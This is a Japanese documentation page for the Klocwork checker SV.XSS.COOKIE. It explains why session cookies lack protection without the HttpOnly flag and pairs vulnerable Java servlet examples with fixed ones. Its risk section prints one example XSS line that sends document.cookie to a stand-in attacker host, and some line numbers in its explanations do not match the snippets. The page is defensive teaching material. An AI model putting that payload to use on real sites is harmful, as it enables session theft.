SV.XSS.COOKIE
setHttpOnly フラグのない機密性の高いクッキー
クライアントの Web サイトとの対話に関するセッション ID の格納に使用されるクッキーは、クライアントが行うリクエストを検証できるようになりますが、setHttpOnly フラグを設定せずに HttpServletResponse オブジェクトにそれが追加される場合に、Klocwork は SV.XSS.COOKIE の欠陥を報告します。
リリース 2023.2 の時点で、このチェッカーは Jakarta EE をサポートしています。
脆弱性とリスク
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
軽減と防止
HttpOnly フラグは、互換性のあるブラウザーに、クライアント側のスクリプトがクッキーにアクセスするのを防ぐように指示します。Set-Cookie HTTP 応答ヘッダーに HttpOnly フラグを含めることは、攻撃者のスクリプトコードがクッキーの内容を読み取って盗み出そうとするような、XSS に関連するリスクを軽減するのに役立ちます。設定されている場合、そのフラグをサポートしているブラウザーは、XSS を使用して実行される第三者のクライアント側スクリプトに、クッキーの内容を公開しません。
脆弱コード例 1
import javax.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
Klocwork は、5 行目で SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのないクッキーでの攻撃の可能性」を示します。これは、応答に追加する前に setHttpOnly フラグが cookie で設定されていないためです。
修正コード例 1
import javax.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
5 行目で setHttpOnly フラグが cookie に設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE の欠陥を報告しなくなります。
脆弱コード例 2
import jakarta.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(false);
response.addCookie(c);
Klocwork は、6 行目で SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのない cookie での攻撃の可能性」を示します。setHttpOnly メソッドが呼び出されていますが、5 行目で false として設定されます。
修正コード例 2
import jakarta.servlet.http.*;
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
5 行目で setHttpOnly フラグが cookie に設定されているため、Klocwork は 6 行目で SV.XSS.COOKIE の欠陥を報告しなくなります。
セキュリティトレーニング
Secure Code Warrior が提供しているアプリケーションセキュリティトレーニング教材。